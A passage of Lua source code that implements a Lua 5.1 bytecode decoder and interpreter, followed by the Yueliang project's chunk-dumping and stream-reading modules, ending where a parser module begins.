1746 num = get_int();
1747 for i = 1, num do
1748 prototypes[i-1] = decode_chunk();
1749 end
1750 end
1751
1752 -- Decode debug info
1753 -- Not all of which is used yet.
1754 do
1755 -- line numbers
1756 local data = debug.lines
1757 num = get_int();
1758 for i = 1, num do
1759 data[i] = get_int32();
1760 end
1761
1762 -- locals
1763 num = get_int();
1764 for i = 1, num do
1765 get_string():sub(1, -2); -- local name
1766 get_int32(); -- local start PC
1767 get_int32(); -- local end PC
1768 end
1769
1770 -- upvalues
1771 num = get_int();
1772 for i = 1, num do
1773 get_string(); -- upvalue name
1774 end
1775 end
1776
1777 return chunk;
1778 end
1779
1780 -- Verify bytecode header
1781 do
1782 assert(get_string(4) == "\27Lua", "Lua bytecode expected.");
1783 assert(get_int8() == 0x51, "Only Lua 5.1 is supported.");
1784 get_int8(); -- Oficial bytecode
1785 big_endian = (get_int8() == 0);
1786 int_size = get_int8();
1787 size_t = get_int8();
1788
1789 if int_size == 4 then
1790 get_int = get_int32;
1791 elseif int_size == 8 then
1792 get_int = get_int64;
1793 else
1794 -- TODO: refactor errors into table
1795 error("Unsupported bytecode target platform");
1796 end
1797
1798 if size_t == 4 then
1799 get_size_t = get_int32;
1800 elseif size_t == 8 then
1801 get_size_t = get_int64;
1802 else
1803 error("Unsupported bytecode target platform");
1804 end
1805
1806 assert(get_string(3) == "\4\8\0",
1807 "Unsupported bytecode target platform");
1808 end
1809
1810 return decode_chunk();
1811end
1812
1813local function handle_return(...)
1814 local c = select("#", ...)
1815 local t = {...}
1816 return c, t
1817end
1818
1819local function create_wrapper(cache, upvalues)
1820 local instructions = cache.instructions;
1821 local constants = cache.constants;
1822 local prototypes = cache.prototypes;
1823
1824 local stack, top
1825 local environment
1826 local IP = 1; -- instruction pointer
1827 local vararg, vararg_size
1828
1829 local opcode_funcs = {
1830 [0] = function(instruction) -- MOVE
1831 stack[instruction.A] = stack[instruction.B];
1832 end,
1833 [1] = function(instruction) -- LOADK
1834 stack[instruction.A] = constants[instruction.Bx].data;
1835 end,
1836 [2] = function(instruction) -- LOADBOOL
1837 stack[instruction.A] = instruction.B ~= 0
1838 if instruction.C ~= 0 then
1839 IP = IP + 1
1840 end
1841 end,
1842 [3] = function(instruction) -- LOADNIL
1843 local stack = stack
1844 for i = instruction.A, instruction.B do
1845 stack[i] = nil
1846 end
1847 end,
1848 [4] = function(instruction) -- GETUPVAL
1849 stack[instruction.A] = upvalues[instruction.B]
1850 end,
1851 [5] = function(instruction) -- GETGLOBAL
1852 local key = constants[instruction.Bx].data;
1853 stack[instruction.A] = environment[key];
1854 end,
1855 [6] = function(instruction) -- GETTABLE
1856 local C = instruction.C
1857 local stack = stack
1858 C = C > 255 and constants[C-256].data or stack[C]
1859 stack[instruction.A] = stack[instruction.B][C];
1860 end,
1861 [7] = function(instruction) -- SETGLOBAL
1862 local key = constants[instruction.Bx].data;
1863 environment[key] = stack[instruction.A];
1864 end,
1865 [8] = function (instruction) -- SETUPVAL
1866 upvalues[instruction.B] = stack[instruction.A]
1867 end,
1868 [9] = function (instruction) -- SETTABLE
1869 local B = instruction.B;
1870 local C = instruction.C;
1871 local stack, constants = stack, constants;
1872
1873 B = B > 255 and constants[B-256].data or stack[B];
1874 C = C > 255 and constants[C-256].data or stack[C];
1875
1876 stack[instruction.A][B] = C
1877 end,
1878 [10] = function (instruction) -- NEWTABLE
1879 stack[instruction.A] = {}
1880 end,
1881 [11] = function (instruction) -- SELF
1882 local A = instruction.A
1883 local B = instruction.B
1884 local C = instruction.C
1885 local stack = stack
1886
1887 B = stack[B]
1888 C = C > 255 and constants[C-256].data or stack[C]
1889
1890 stack[A+1] = B
1891 stack[A] = B[C]
1892 end,
1893 [12] = function(instruction) -- ADD
1894 local B = instruction.B;
1895 local C = instruction.C;
1896 local stack, constants = stack, constants;
1897
1898 B = B > 255 and constants[B-256].data or stack[B];
1899 C = C > 255 and constants[C-256].data or stack[C];
1900
1901 stack[instruction.A] = B+C;
1902 end,
1903 [13] = function(instruction) -- SUB
1904 local B = instruction.B;
1905 local C = instruction.C;
1906 local stack, constants = stack, constants;
1907
1908 B = B > 255 and constants[B-256].data or stack[B];
1909 C = C > 255 and constants[C-256].data or stack[C];
1910
1911 stack[instruction.A] = B - C;
1912 end,
1913 [14] = function(instruction) -- MUL
1914 local B = instruction.B;
1915 local C = instruction.C;
1916 local stack, constants = stack, constants;
1917
1918 B = B > 255 and constants[B-256].data or stack[B];
1919 C = C > 255 and constants[C-256].data or stack[C];
1920
1921 stack[instruction.A] = B * C;
1922 end,
1923 [15] = function(instruction) --DIV
1924 local B = instruction.B;
1925 local C = instruction.C;
1926 local stack, constants = stack, constants;
1927
1928 B = B > 255 and constants[B-256].data or stack[B];
1929 C = C > 255 and constants[C-256].data or stack[C];
1930
1931 stack[instruction.A] = B / C;
1932 end,
1933 [16] = function(instruction) -- MOD
1934 local B = instruction.B;
1935 local C = instruction.C;
1936 local stack, constants = stack, constants;
1937
1938 B = B > 255 and constants[B-256].data or stack[B];
1939 C = C > 255 and constants[C-256].data or stack[C];
1940
1941 stack[instruction.A] = B % C;
1942 end,
1943 [17] = function(instruction) -- POW
1944 local B = instruction.B;
1945 local C = instruction.C;
1946 local stack, constants = stack, constants;
1947
1948 B = B > 255 and constants[B-256].data or stack[B];
1949 C = C > 255 and constants[C-256].data or stack[C];
1950
1951 stack[instruction.A] = B ^ C;
1952 end,
1953 [18] = function(instruction) -- UNM
1954 stack[instruction.A] = -stack[instruction.B]
1955 end,
1956 [19] = function(instruction) -- NOT
1957 stack[instruction.A] = not stack[instruction.B]
1958 end,
1959 [20] = function(instruction) -- LEN
1960 stack[instruction.A] = #stack[instruction.B]
1961 end,
1962 [21] = function(instruction) -- CONCAT
1963 local B = instruction.B
1964 local result = stack[B]
1965 for i = B+1, instruction.C do
1966 result = result .. stack[i]
1967 end
1968 stack[instruction.A] = result
1969 end,
1970 [22] = function(instruction) -- JUMP
1971 IP = IP + instruction.sBx
1972 end,
1973 [23] = function(instruction) -- EQ
1974 local A = instruction.A
1975 local B = instruction.B
1976 local C = instruction.C
1977 local stack, constants = stack, constants
1978
1979 A = A ~= 0
1980 B = B > 255 and constants[B-256].data or stack[B]
1981 C = C > 255 and constants[C-256].data or stack[C]
1982 if (B == C) ~= A then
1983 IP = IP + 1
1984 end
1985 end,
1986 [24] = function(instruction) -- LT
1987 local A = instruction.A
1988 local B = instruction.B
1989 local C = instruction.C
1990 local stack, constants = stack, constants
1991
1992 A = A ~= 0
1993 B = B > 255 and constants[B-256].data or stack[B]
1994 C = C > 255 and constants[C-256].data or stack[C]
1995 if (B < C) ~= A then
1996 IP = IP + 1
1997 end
1998 end,
1999 [25] = function(instruction) -- LT
2000 local A = instruction.A
2001 local B = instruction.B
2002 local C = instruction.C
2003 local stack, constants = stack, constants
2004
2005 A = A ~= 0
2006 B = B > 255 and constants[B-256].data or stack[B]
2007 C = C > 255 and constants[C-256].data or stack[C]
2008 if (B <= C) ~= A then
2009 IP = IP + 1
2010 end
2011 end,
2012 [26] = function(instruction) -- TEST
2013 if (not not stack[instruction.A]) == (instruction.C == 0) then
2014 IP = IP + 1
2015 end
2016 end,
2017 [27] = function(instruction) -- TESTSET
2018 local stack = stack
2019 local B = stack[instruction.B]
2020 if (not not B) == (instruction.C == 0) then
2021 IP = IP + 1
2022 else
2023 stack[instruction.A] = B
2024 end
2025 end,
2026 [28] = function(instruction) -- CALL
2027 local A = instruction.A;
2028 local B = instruction.B;
2029 local C = instruction.C;
2030 local stack = stack;
2031 local args, results;
2032 local limit, loop
2033
2034 args = {};
2035 if B ~= 1 then
2036 if B ~= 0 then
2037 limit = A+B-1;
2038 else
2039 limit = top
2040 end
2041
2042 loop = 0
2043 for i = A+1, limit do
2044 loop = loop + 1
2045 args[loop] = stack[i];
2046 end
2047
2048 limit, results = handle_return(stack[A](unpack(args, 1, limit-A)))
2049 else
2050 limit, results = handle_return(stack[A]())
2051 end
2052
2053 top = A - 1
2054
2055 if C ~= 1 then
2056 if C ~= 0 then
2057 limit = A+C-2;
2058 else
2059 limit = limit+A
2060 end
2061
2062 loop = 0;
2063 for i = A, limit do
2064 loop = loop + 1;
2065 stack[i] = results[loop];
2066 end
2067 end
2068 end,
2069 [29] = function (instruction) -- TAILCALL
2070 local A = instruction.A;
2071 local B = instruction.B;
2072 local C = instruction.C;
2073 local stack = stack;
2074 local args, results;
2075 local top, limit, loop = top
2076
2077 args = {};
2078 if B ~= 1 then
2079 if B ~= 0 then
2080 limit = A+B-1;
2081 else
2082 limit = top
2083 end
2084
2085 loop = 0
2086 for i = A+1, limit do
2087 loop = loop + 1
2088 args[#args+1] = stack[i];
2089 end
2090
2091 results = {stack[A](unpack(args, 1, limit-A))};
2092 else
2093 results = {stack[A]()};
2094 end
2095
2096 return true, results
2097 end,
2098 [30] = function(instruction) -- RETURN
2099 --TODO: CLOSE
2100 local A = instruction.A;
2101 local B = instruction.B;
2102 local stack = stack;
2103 local limit;
2104 local loop, output;
2105
2106 if B == 1 then
2107 return true;
2108 end
2109 if B == 0 then
2110 limit = top
2111 else
2112 limit = A + B - 2;
2113 end
2114
2115 output = {};
2116 local loop = 0
2117 for i = A, limit do
2118 loop = loop + 1
2119 output[loop] = stack[i];
2120 end
2121 return true, output;
2122 end,
2123 [31] = function(instruction) -- FORLOOP
2124 local A = instruction.A
2125 local stack = stack
2126
2127 local step = stack[A+2]
2128 local index = stack[A] + step
2129 stack[A] = index
2130
2131 if step > 0 then
2132 if index <= stack[A+1] then
2133 IP = IP + instruction.sBx
2134 stack[A+3] = index
2135 end
2136 else
2137 if index >= stack[A+1] then
2138 IP = IP + instruction.sBx
2139 stack[A+3] = index
2140 end
2141 end
2142 end,
2143 [32] = function(instruction) -- FORPREP
2144 local A = instruction.A
2145 local stack = stack
2146
2147 stack[A] = stack[A] - stack[A+2]
2148 IP = IP + instruction.sBx
2149 end,
2150 [33] = function(instruction) -- TFORLOOP
2151 local A = instruction.A
2152 local B = instruction.B
2153 local C = instruction.C
2154 local stack = stack
2155
2156 local offset = A+2
2157 local result = {stack[A](stack[A+1], stack[A+2])}
2158 for i = 1, C do
2159 stack[offset+i] = result[i]
2160 end
2161
2162 if stack[A+3] ~= nil then
2163 stack[A+2] = stack[A+3]
2164 else
2165 IP = IP + 1
2166 end
2167 end,
2168 [34] = function(instruction) -- SETLIST
2169 local A = instruction.A
2170 local B = instruction.B
2171 local C = instruction.C
2172 local stack = stack
2173
2174 if C == 0 then
2175 error("NYI: extended SETLIST")
2176 else
2177 local offset = (C - 1) * 50
2178 local t = stack[A]
2179
2180 if B == 0 then
2181 B = top
2182 end
2183 for i = 1, B do
2184 t[offset+i] = stack[A+i]
2185 end
2186 end
2187 end,
2188 [35] = function(instruction) -- CLOSE
2189 --io.stderr:write("NYI: CLOSE")
2190 --io.stderr:flush()
2191 end,
2192 [36] = function(instruction) -- CLOSURE
2193 local proto = prototypes[instruction.Bx]
2194 local instructions = instructions
2195 local stack = stack
2196
2197 local indices = {}
2198 local new_upvals = setmetatable({},
2199 {
2200 __index = function(t, k)
2201 local upval = indices[k]
2202 return upval.segment[upval.offset]
2203 end,
2204 __newindex = function(t, k, v)
2205 local upval = indices[k]
2206 upval.segment[upval.offset] = v
2207 end
2208 }
2209 )
2210 for i = 1, proto.upvalues do
2211 local movement = instructions[IP]
2212 if movement.opcode == 0 then -- MOVE
2213 indices[i-1] = {segment = stack, offset = movement.B}
2214 elseif instructions[IP].opcode == 4 then -- GETUPVAL
2215 indices[i-1] = {segment = upvalues, offset = movement.B}
2216 end
2217 IP = IP + 1
2218 end
2219
2220 local _, func = create_wrapper(proto, new_upvals)
2221 stack[instruction.A] = func
2222 end,
2223 [37] = function(instruction) -- VARARG
2224 local A = instruction.A
2225 local B = instruction.B
2226 local stack, vararg = stack, vararg
2227
2228 for i = A, A + (B > 0 and B - 1 or vararg_size) do
2229 stack[i] = vararg[i - A]
2230 end
2231 end,
2232 }
2233
2234 local function loop()
2235 local instructions = instructions
2236 local instruction, a, b
2237
2238 while true do
2239 instruction = instructions[IP];
2240 IP = IP + 1
2241 a, b = opcode_funcs[instruction.opcode](instruction);
2242 if a then
2243 return b;
2244 end
2245 end
2246 end
2247
2248 local debugging = {
2249 get_stack = function()
2250 return stack;
2251 end;
2252 get_IP = function()
2253 return IP;
2254 end
2255 };
2256
2257 local function func(...)
2258 local local_stack = {};
2259 local ghost_stack = {};
2260
2261 top = -1
2262 stack = setmetatable(local_stack, {
2263 __index = ghost_stack;
2264 __newindex = function(t, k, v)
2265 if k > top and v then
2266 top = k
2267 end
2268 ghost_stack[k] = v
2269 end;
2270 })
2271 local args = {...};
2272 vararg = {}
2273 vararg_size = select("#", ...) - 1
2274 for i = 0, vararg_size do
2275 local_stack[i] = args[i+1];
2276 vararg[i] = args[i+1]
2277 end
2278
2279 environment = getfenv();
2280 IP = 1;
2281 local thread = coroutine.create(loop)
2282 local a, b = coroutine.resume(thread)
2283
2284 if a then
2285 if b then
2286 return unpack(b);
2287 end
2288 return;
2289 else
2290 if advanced_debug then
2291 --TODO advanced debugging
2292 else
2293 --TODO error converting
2294 local name = cache.name;
2295 local line = cache.debug.lines[IP];
2296 local err = b:gsub("(.-:)", "");
2297 local output = "";
2298
2299 output = output .. (name and name .. ":" or "");
2300 output = output .. (line and line .. ":" or "");
2301 output = output .. b
2302 --[[
2303 output = ("%s (Instruction=%s)"):format(output,
2304 lua_opcode_names[select(2,debug.getlocal(loop,1, 1)).opcode+1])
2305 --]]
2306 error(output, 0);
2307 end
2308 end
2309 end
2310
2311 return debugging, func;
2312end
2313
2314local lbi = {
2315 load_bytecode = function(bytecode,env)
2316 local cache = decode_bytecode(bytecode);
2317 local _, func = create_wrapper(cache);
2318 return func;
2319 end;
2320
2321 -- Utilities (Debug, Introspection, Testing, etc)
2322 utils = {
2323 decode_bytecode = decode_bytecode;
2324 create_wrapper = create_wrapper;
2325 debug_bytecode = function(bytecode)
2326 local cache = decode_bytecode(bytecode)
2327 return create_wrapper(cache);
2328 end;
2329 };
2330}
2331
2332--[[--------------------------------------------------------------------
2333
2334 ldump.lua
2335 Save precompiled Lua chunks
2336 This file is part of Yueliang.
2337
2338 Copyright (c) 2006 Kein-Hong Man <khman@users.sf.net>
2339 The COPYRIGHT file describes the conditions
2340 under which this software may be distributed.
2341
2342 See the ChangeLog for more information.
2343
2344----------------------------------------------------------------------]]
2345
2346--[[--------------------------------------------------------------------
2347-- Notes:
2348-- * WARNING! byte order (little endian) and data type sizes for header
2349-- signature values hard-coded; see luaU:header
2350-- * chunk writer generators are included, see below
2351-- * one significant difference is that instructions are still in table
2352-- form (with OP/A/B/C/Bx fields) and luaP:Instruction() is needed to
2353-- convert them into 4-char strings
2354--
2355-- Not implemented:
2356-- * DumpVar, DumpMem has been removed
2357-- * DumpVector folded into folded into DumpDebug, DumpCode
2358--
2359-- Added:
2360-- * for convenience, the following two functions have been added:
2361-- luaU:make_setS: create a chunk writer that writes to a string
2362-- luaU:make_setF: create a chunk writer that writes to a file
2363-- (lua.h contains a typedef for lua_Writer/lua_Chunkwriter, and
2364-- a Lua-based implementation exists, writer() in lstrlib.c)
2365-- * luaU:ttype(o) (from lobject.h)
2366-- * for converting number types to its binary equivalent:
2367-- luaU:from_double(x): encode double value for writing
2368-- luaU:from_int(x): encode integer value for writing
2369-- (error checking is limited for these conversion functions)
2370-- (double conversion does not support denormals or NaNs)
2371--
2372-- Changed in 5.1.x:
2373-- * the dumper was mostly rewritten in Lua 5.1.x, so notes on the
2374-- differences between 5.0.x and 5.1.x is limited
2375-- * LUAC_VERSION bumped to 0x51, LUAC_FORMAT added
2376-- * developer is expected to adjust LUAC_FORMAT in order to identify
2377-- non-standard binary chunk formats
2378-- * header signature code is smaller, has been simplified, and is
2379-- tested as a single unit; its logic is shared with the undumper
2380-- * no more endian conversion, invalid endianness mean rejection
2381-- * opcode field sizes are no longer exposed in the header
2382-- * code moved to front of a prototype, followed by constants
2383-- * debug information moved to the end of the binary chunk, and the
2384-- relevant functions folded into a single function
2385-- * luaU:dump returns a writer status code
2386-- * chunk writer now implements status code because dumper uses it
2387-- * luaU:endianness removed
2388----------------------------------------------------------------------]]
2389
2390--requires luaP
2391luaU = {}
2392
2393-- mark for precompiled code ('<esc>Lua') (from lua.h)
2394luaU.LUA_SIGNATURE = "\27Lua"
2395
2396-- constants used by dumper (from lua.h)
2397luaU.LUA_TNUMBER = 3
2398luaU.LUA_TSTRING = 4
2399luaU.LUA_TNIL = 0
2400luaU.LUA_TBOOLEAN = 1
2401luaU.LUA_TNONE = -1
2402
2403-- constants for header of binary files (from lundump.h)
2404luaU.LUAC_VERSION = 0x51 -- this is Lua 5.1
2405luaU.LUAC_FORMAT = 0 -- this is the official format
2406luaU.LUAC_HEADERSIZE = 12 -- size of header of binary files
2407
2408--[[--------------------------------------------------------------------
2409-- Additional functions to handle chunk writing
2410-- * to use make_setS and make_setF, see test_ldump.lua elsewhere
2411----------------------------------------------------------------------]]
2412
2413------------------------------------------------------------------------
2414-- create a chunk writer that writes to a string
2415-- * returns the writer function and a table containing the string
2416-- * to get the final result, look in buff.data
2417------------------------------------------------------------------------
2418function luaU:make_setS()
2419 local buff = {}
2420 buff.data = ""
2421 local writer =
2422 function(s, buff) -- chunk writer
2423 if not s then return 0 end
2424 buff.data = buff.data..s
2425 return 0
2426 end
2427 return writer, buff
2428end
2429
2430------------------------------------------------------------------------
2431-- create a chunk writer that writes to a file
2432-- * returns the writer function and a table containing the file handle
2433-- * if a nil is passed, then writer should close the open file
2434------------------------------------------------------------------------
2435
2436--[[
2437function luaU:make_setF(filename)
2438 local buff = {}
2439 buff.h = io.open(filename, "wb")
2440 if not buff.h then return nil end
2441 local writer =
2442 function(s, buff) -- chunk writer
2443 if not buff.h then return 0 end
2444 if not s then
2445 if buff.h:close() then return 0 end
2446 else
2447 if buff.h:write(s) then return 0 end
2448 end
2449 return 1
2450 end
2451 return writer, buff
2452end--]]
2453
2454------------------------------------------------------------------------
2455-- works like the lobject.h version except that TObject used in these
2456-- scripts only has a 'value' field, no 'tt' field (native types used)
2457------------------------------------------------------------------------
2458function luaU:ttype(o)
2459 local tt = type(o.value)
2460 if tt == "number" then return self.LUA_TNUMBER
2461 elseif tt == "string" then return self.LUA_TSTRING
2462 elseif tt == "nil" then return self.LUA_TNIL
2463 elseif tt == "boolean" then return self.LUA_TBOOLEAN
2464 else
2465 return self.LUA_TNONE -- the rest should not appear
2466 end
2467end
2468
2469-----------------------------------------------------------------------
2470-- converts a IEEE754 double number to an 8-byte little-endian string
2471-- * luaU:from_double() and luaU:from_int() are adapted from ChunkBake
2472-- * supports +/- Infinity, but not denormals or NaNs
2473-----------------------------------------------------------------------
2474function luaU:from_double(x)
2475 local function grab_byte(v)
2476 local c = v % 256
2477 return (v - c) / 256, string.char(c)
2478 end
2479 local sign = 0
2480 if x < 0 then sign = 1; x = -x end
2481 local mantissa, exponent = math.frexp(x)
2482 if x == 0 then -- zero
2483 mantissa, exponent = 0, 0
2484 elseif x == 1/0 then
2485 mantissa, exponent = 0, 2047
2486 else
2487 mantissa = (mantissa * 2 - 1) * math.ldexp(0.5, 53)
2488 exponent = exponent + 1022
2489 end
2490 local v, byte = "" -- convert to bytes
2491 x = math.floor(mantissa)
2492 for i = 1,6 do
2493 x, byte = grab_byte(x); v = v..byte -- 47:0
2494 end
2495 x, byte = grab_byte(exponent * 16 + x); v = v..byte -- 55:48
2496 x, byte = grab_byte(sign * 128 + x); v = v..byte -- 63:56
2497 return v
2498end
2499
2500-----------------------------------------------------------------------
2501-- converts a number to a little-endian 32-bit integer string
2502-- * input value assumed to not overflow, can be signed/unsigned
2503-----------------------------------------------------------------------
2504function luaU:from_int(x)
2505 local v = ""
2506 x = math.floor(x)
2507 if x < 0 then x = 4294967296 + x end -- ULONG_MAX+1
2508 for i = 1, 4 do
2509 local c = x % 256
2510 v = v..string.char(c); x = math.floor(x / 256)
2511 end
2512 return v
2513end
2514
2515--[[--------------------------------------------------------------------
2516-- Functions to make a binary chunk
2517-- * many functions have the size parameter removed, since output is
2518-- in the form of a string and some sizes are implicit or hard-coded
2519----------------------------------------------------------------------]]
2520
2521--[[--------------------------------------------------------------------
2522-- struct DumpState:
2523-- L -- lua_State (not used in this script)
2524-- writer -- lua_Writer (chunk writer function)
2525-- data -- void* (chunk writer context or data already written)
2526-- strip -- if true, don't write any debug information
2527-- status -- if non-zero, an error has occured
2528----------------------------------------------------------------------]]
2529
2530------------------------------------------------------------------------
2531-- dumps a block of bytes
2532-- * lua_unlock(D.L), lua_lock(D.L) unused
2533------------------------------------------------------------------------
2534function luaU:DumpBlock(b, D)
2535 if D.status == 0 then
2536 -- lua_unlock(D->L);
2537 D.status = D.write(b, D.data)
2538 -- lua_lock(D->L);
2539 end
2540end
2541
2542------------------------------------------------------------------------
2543-- dumps a char
2544------------------------------------------------------------------------
2545function luaU:DumpChar(y, D)
2546 self:DumpBlock(string.char(y), D)
2547end
2548
2549------------------------------------------------------------------------
2550-- dumps a 32-bit signed or unsigned integer (for int) (hard-coded)
2551------------------------------------------------------------------------
2552function luaU:DumpInt(x, D)
2553 self:DumpBlock(self:from_int(x), D)
2554end
2555
2556------------------------------------------------------------------------
2557-- dumps a lua_Number (hard-coded as a double)
2558------------------------------------------------------------------------
2559function luaU:DumpNumber(x, D)
2560 self:DumpBlock(self:from_double(x), D)
2561end
2562
2563------------------------------------------------------------------------
2564-- dumps a Lua string (size type is hard-coded)
2565------------------------------------------------------------------------
2566function luaU:DumpString(s, D)
2567 if s == nil then
2568 self:DumpInt(0, D)
2569 else
2570 s = s.."\0" -- include trailing '\0'
2571 self:DumpInt(#s, D)
2572 self:DumpBlock(s, D)
2573 end
2574end
2575
2576------------------------------------------------------------------------
2577-- dumps instruction block from function prototype
2578------------------------------------------------------------------------
2579function luaU:DumpCode(f, D)
2580 local n = f.sizecode
2581 --was DumpVector
2582 self:DumpInt(n, D)
2583 for i = 0, n - 1 do
2584 self:DumpBlock(luaP:Instruction(f.code[i]), D)
2585 end
2586end
2587
2588------------------------------------------------------------------------
2589-- dump constant pool from function prototype
2590-- * bvalue(o), nvalue(o) and rawtsvalue(o) macros removed
2591------------------------------------------------------------------------
2592function luaU:DumpConstants(f, D)
2593 local n = f.sizek
2594 self:DumpInt(n, D)
2595 for i = 0, n - 1 do
2596 local o = f.k[i] -- TValue
2597 local tt = self:ttype(o)
2598 self:DumpChar(tt, D)
2599 if tt == self.LUA_TNIL then
2600 elseif tt == self.LUA_TBOOLEAN then
2601 self:DumpChar(o.value and 1 or 0, D)
2602 elseif tt == self.LUA_TNUMBER then
2603 self:DumpNumber(o.value, D)
2604 elseif tt == self.LUA_TSTRING then
2605 self:DumpString(o.value, D)
2606 else
2607 --lua_assert(0) -- cannot happen
2608 end
2609 end
2610 n = f.sizep
2611 self:DumpInt(n, D)
2612 for i = 0, n - 1 do
2613 self:DumpFunction(f.p[i], f.source, D)
2614 end
2615end
2616
2617------------------------------------------------------------------------
2618-- dump debug information
2619------------------------------------------------------------------------
2620function luaU:DumpDebug(f, D)
2621 local n
2622 n = D.strip and 0 or f.sizelineinfo -- dump line information
2623 --was DumpVector
2624 self:DumpInt(n, D)
2625 for i = 0, n - 1 do
2626 self:DumpInt(f.lineinfo[i], D)
2627 end
2628 n = D.strip and 0 or f.sizelocvars -- dump local information
2629 self:DumpInt(n, D)
2630 for i = 0, n - 1 do
2631 self:DumpString(f.locvars[i].varname, D)
2632 self:DumpInt(f.locvars[i].startpc, D)
2633 self:DumpInt(f.locvars[i].endpc, D)
2634 end
2635 n = D.strip and 0 or f.sizeupvalues -- dump upvalue information
2636 self:DumpInt(n, D)
2637 for i = 0, n - 1 do
2638 self:DumpString(f.upvalues[i], D)
2639 end
2640end
2641
2642------------------------------------------------------------------------
2643-- dump child function prototypes from function prototype
2644------------------------------------------------------------------------
2645function luaU:DumpFunction(f, p, D)
2646 local source = f.source
2647 if source == p or D.strip then source = nil end
2648 self:DumpString(source, D)
2649 self:DumpInt(f.lineDefined, D)
2650 self:DumpInt(f.lastlinedefined, D)
2651 self:DumpChar(f.nups, D)
2652 self:DumpChar(f.numparams, D)
2653 self:DumpChar(f.is_vararg, D)
2654 self:DumpChar(f.maxstacksize, D)
2655 self:DumpCode(f, D)
2656 self:DumpConstants(f, D)
2657 self:DumpDebug(f, D)
2658end
2659
2660------------------------------------------------------------------------
2661-- dump Lua header section (some sizes hard-coded)
2662------------------------------------------------------------------------
2663function luaU:DumpHeader(D)
2664 local h = self:header()
2665 assert(#h == self.LUAC_HEADERSIZE) -- fixed buffer now an assert
2666 self:DumpBlock(h, D)
2667end
2668
2669------------------------------------------------------------------------
2670-- make header (from lundump.c)
2671-- returns the header string
2672------------------------------------------------------------------------
2673function luaU:header()
2674 local x = 1
2675 return self.LUA_SIGNATURE..
2676 string.char(
2677 self.LUAC_VERSION,
2678 self.LUAC_FORMAT,
2679 x, -- endianness (1=little)
2680 4, -- sizeof(int)
2681 4, -- sizeof(size_t)
2682 4, -- sizeof(Instruction)
2683 8, -- sizeof(lua_Number)
2684 0) -- is lua_Number integral?
2685end
2686
2687------------------------------------------------------------------------
2688-- dump Lua function as precompiled chunk
2689-- (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip)
2690-- * w, data are created from make_setS, make_setF
2691------------------------------------------------------------------------
2692function luaU:dump(L, f, w, data, strip)
2693 local D = {} -- DumpState
2694 D.L = L
2695 D.write = w
2696 D.data = data
2697 D.strip = strip
2698 D.status = 0
2699 self:DumpHeader(D)
2700 self:DumpFunction(f, nil, D)
2701 -- added: for a chunk writer writing to a file, this final call with
2702 -- nil data is to indicate to the writer to close the file
2703 D.write(nil, D.data)
2704 return D.status
2705end
2706
2707--[[--------------------------------------------------------------------
2708
2709 lzio.lua
2710 Lua buffered streams in Lua
2711 This file is part of Yueliang.
2712
2713 Copyright (c) 2005-2006 Kein-Hong Man <khman@users.sf.net>
2714 The COPYRIGHT file describes the conditions
2715 under which this software may be distributed.
2716
2717 See the ChangeLog for more information.
2718
2719----------------------------------------------------------------------]]
2720
2721--[[--------------------------------------------------------------------
2722-- Notes:
2723-- * EOZ is implemented as a string, "EOZ"
2724-- * Format of z structure (ZIO)
2725-- z.n -- bytes still unread
2726-- z.p -- last read position position in buffer
2727-- z.reader -- chunk reader function
2728-- z.data -- additional data
2729-- * Current position, p, is now last read index instead of a pointer
2730--
2731-- Not implemented:
2732-- * luaZ_lookahead: used only in lapi.c:lua_load to detect binary chunk
2733-- * luaZ_read: used only in lundump.c:ezread to read +1 bytes
2734-- * luaZ_openspace: dropped; let Lua handle buffers as strings (used in
2735-- lundump.c:LoadString & lvm.c:luaV_concat)
2736-- * luaZ buffer macros: dropped; buffers are handled as strings
2737-- * lauxlib.c:getF reader implementation has an extraline flag to
2738-- skip over a shbang (#!) line, this is not implemented here
2739--
2740-- Added:
2741-- (both of the following are vaguely adapted from lauxlib.c)
2742-- * luaZ:make_getS: create Reader from a string
2743-- * luaZ:make_getF: create Reader that reads from a file
2744--
2745-- Changed in 5.1.x:
2746-- * Chunkreader renamed to Reader (ditto with Chunkwriter)
2747-- * Zio struct: no more name string, added Lua state for reader
2748-- (however, Yueliang readers do not require a Lua state)
2749----------------------------------------------------------------------]]
2750
2751luaZ = {}
2752
2753------------------------------------------------------------------------
2754-- * reader() should return a string, or nil if nothing else to parse.
2755-- Additional data can be set only during stream initialization
2756-- * Readers are handled in lauxlib.c, see luaL_load(file|buffer|string)
2757-- * LUAL_BUFFERSIZE=BUFSIZ=512 in make_getF() (located in luaconf.h)
2758-- * Original Reader typedef:
2759-- const char * (*lua_Reader) (lua_State *L, void *ud, size_t *sz);
2760-- * This Lua chunk reader implementation:
2761-- returns string or nil, no arguments to function
2762------------------------------------------------------------------------
2763
2764------------------------------------------------------------------------
2765-- create a chunk reader from a source string
2766------------------------------------------------------------------------
2767function luaZ:make_getS(buff)
2768 local b = buff
2769 return function() -- chunk reader anonymous function here
2770 if not b then return nil end
2771 local data = b
2772 b = nil
2773 return data
2774 end
2775end
2776
2777------------------------------------------------------------------------
2778-- create a chunk reader from a source file
2779------------------------------------------------------------------------
2780--[[
2781function luaZ:make_getF(filename)
2782 local LUAL_BUFFERSIZE = 512
2783 local h = io.open(filename, "r")
2784 if not h then return nil end
2785 return function() -- chunk reader anonymous function here
2786 if not h or io.type(h) == "closed file" then return nil end
2787 local buff = h:read(LUAL_BUFFERSIZE)
2788 if not buff then h:close(); h = nil end
2789 return buff
2790 end
2791end
2792--]]
2793------------------------------------------------------------------------
2794-- creates a zio input stream
2795-- returns the ZIO structure, z
2796------------------------------------------------------------------------
2797function luaZ:init(reader, data, name)
2798 if not reader then return end
2799 local z = {}
2800 z.reader = reader
2801 z.data = data or ""
2802 z.name = name
2803 -- set up additional data for reading
2804 if not data or data == "" then z.n = 0 else z.n = #data end
2805 z.p = 0
2806 return z
2807end
2808
2809------------------------------------------------------------------------
2810-- fill up input buffer
2811------------------------------------------------------------------------
2812function luaZ:fill(z)
2813 local buff = z.reader()
2814 z.data = buff
2815 if not buff or buff == "" then return "EOZ" end
2816 z.n, z.p = #buff - 1, 1
2817 return string.sub(buff, 1, 1)
2818end
2819
2820------------------------------------------------------------------------
2821-- get next character from the input stream
2822-- * local n, p are used to optimize code generation
2823------------------------------------------------------------------------
2824function luaZ:zgetc(z)
2825 local n, p = z.n, z.p + 1
2826 if n > 0 then
2827 z.n, z.p = n - 1, p
2828 return string.sub(z.data, p, p)
2829 else
2830 return self:fill(z)
2831 end
2832end
2833
2834--[[--------------------------------------------------------------------
2835
2836 lparser.lua
2837 Lua 5 parser in Lua
2838 This file is part of Yueliang.
2839
